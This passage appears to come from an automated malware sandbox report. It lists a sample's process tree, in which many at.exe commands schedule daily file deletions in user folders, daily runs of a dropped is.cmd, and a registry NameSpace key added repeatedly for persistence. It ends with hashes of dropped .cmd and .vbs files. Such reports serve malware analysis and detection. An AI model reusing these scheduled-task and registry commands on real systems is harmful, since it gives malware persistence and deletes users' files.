                                                                                                                                                at 19:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                                                                                                                4⤵
                                                                                                                                                  PID:1956
                                                                                                                                                • C:\Windows\SysWOW64\at.exe
                                                                                                                                                  at 21:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1352
                                                                                                                                                  • C:\Windows\SysWOW64\at.exe
                                                                                                                                                    at 21:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:624
                                                                                                                                                    • C:\Windows\SysWOW64\at.exe
                                                                                                                                                      at 21:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                                                                                                                      4⤵
                                                                                                                                                        PID:1640
                                                                                                                                                      • C:\Windows\SysWOW64\at.exe
                                                                                                                                                        at 21:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:2032
                                                                                                                                                        • C:\Windows\SysWOW64\at.exe
                                                                                                                                                          at 9:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:1212
                                                                                                                                                          • C:\Windows\SysWOW64\at.exe
                                                                                                                                                            at 14:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:1072
                                                                                                                                                            • C:\Windows\SysWOW64\at.exe
                                                                                                                                                              at 18:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                                                                                                              4⤵
                                                                                                                                                                PID:1984
                                                                                                                                                              • C:\Windows\SysWOW64\at.exe
                                                                                                                                                                at 21:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:1508

                                                                                                                                                          Network

                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                          Replay Monitor

                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                          Downloads

                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\361.cmd

                                                                                                                                                            Filesize

                                                                                                                                                            1KB

                                                                                                                                                            MD5

                                                                                                                                                            1d903a49275ecf0360a005a210710ae1

                                                                                                                                                            SHA1

                                                                                                                                                            53d92ee4cf725fd774fde7d8715dc57f05b4ad5e

                                                                                                                                                            SHA256

                                                                                                                                                            5228e97bfb7487be8921377a47ee94aa14ab9fb5208d719fc92cf81350949c6e

                                                                                                                                                            SHA512

                                                                                                                                                            0411ec8b3cf03f3587fb9a47b7e587d879fcdfbc6a56e2637a6e5400f4a4fd49c52adc0012c66bde052ed5b5bf96b53340b361cd99c8c2b3a4087d7147362ff4

                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\51dd.vbs

                                                                                                                                                            Filesize

                                                                                                                                                            333B

                                                                                                                                                            MD5

                                                                                                                                                            a9d94634d0f188064dd59925ab8a7ce5

                                                                                                                                                            SHA1

                                                                                                                                                            91d0736e4f5d173a2b78e001e9b88a1e0ed10366

                                                                                                                                                            SHA256

                                                                                                                                                            2e8421f68d3d2815a83dcc1162bd0bd8ca208f0674a4b1690f96417f17faf597

                                                                                                                                                            SHA512

                                                                                                                                                            92c2299b13a67566b9e20b4869c9a82c5060d39fb565d3e3d2494c13a8a50ce229fc3309da47f666eb77b39533ae0251189647e107b0992d06c7756c4e490545

                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\copy.cmd

                                                                                                                                                            Filesize

                                                                                                                                                            256B

                                                                                                                                                            MD5

                                                                                                                                                            22ba26c787caf9c226a57ab934efe3a7

                                                                                                                                                            SHA1

                                                                                                                                                            41da9b24a7e138eadf7fe359a9832bab35a22098

                                                                                                                                                            SHA256

                                                                                                                                                            506c7c101ef39fb59bcef1a4952f0303f979daf01ffe4048e12458ad3cc0181d

                                                                                                                                                            SHA512

                                                                                                                                                            75609142b2e50fee2136f27c0dd124b3714f052579ab667fbfaf6f167bd1057b967f34d05293bf4b316b8580a3f63a8903fa147c83821087a4102a66ffb4e941

                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\is.cmd

                                                                                                                                                            Filesize

                                                                                                                                                            122B

                                                                                                                                                            MD5

                                                                                                                                                            5e1ac5999e539cafa3a303e8386cfbf9

                                                                                                                                                            SHA1

                                                                                                                                                            dcd5ce7b101636bb35b3c38ea4456f20b5fb142a

                                                                                                                                                            SHA256

                                                                                                                                                            d9a95138ba749e2c04355d7b9354d90a45941d20fb120af3d2969779d90748d6

                                                                                                                                                            SHA512

                                                                                                                                                            f18fe45f0731f4deec3fde3ff19fe1b3d586db3e75e748224adfa0b0ea4b1fabab6b7dfbed3a127cadf2ea9ee6a5a0f9191b50055df39e64a5cce90da50a43a1

                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\to.cmd

                                                                                                                                                            Filesize

                                                                                                                                                            3KB

                                                                                                                                                            MD5

                                                                                                                                                            93283cb2cbb91dc2553d3ccc53c24787

                                                                                                                                                            SHA1

                                                                                                                                                            271054a80b7332910d4f746ccbabd6b9d85915fe

                                                                                                                                                            SHA256

                                                                                                                                                            31d5b5b80fc2c292ae1d3d94e6c35b5272e8ad0e9b06aa086eb61d6238d66beb

                                                                                                                                                            SHA512

                                                                                                                                                            6b485717301db3a10fde12b378de7e79a018e5e33eef9808c1a414a2b5ba983cc4b32a1bbfa5cd4005085c648381f663eb15c35f1e06c5b3e58bbc6fc6e5b70f

                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\winare.vbs

                                                                                                                                                            Filesize

                                                                                                                                                            939B

                                                                                                                                                            MD5

                                                                                                                                                            e9453c56277dd24802b553677d0620fc

                                                                                                                                                            SHA1

                                                                                                                                                            8b27914191feae8061dd9577d473a638173b92a7

                                                                                                                                                            SHA256

                                                                                                                                                            46493b2ba1dbf1f0b360d276423c0e7b7f99cdbe7f23a623d63ce8f20f82ea2d

                                                                                                                                                            SHA512

                                                                                                                                                            c55a87c18ab67756556943c480385d6a42bb0904b090885b93c151f4661a132c9eb67a9838876af6217636a313a3a817629c2a0fe2a43313fddf1978191d8e41

                                                                                                                                                          • memory/1080-54-0x00000000762E1000-0x00000000762E3000-memory.dmp

                                                                                                                                                            Filesize

                                                                                                                                                            8KB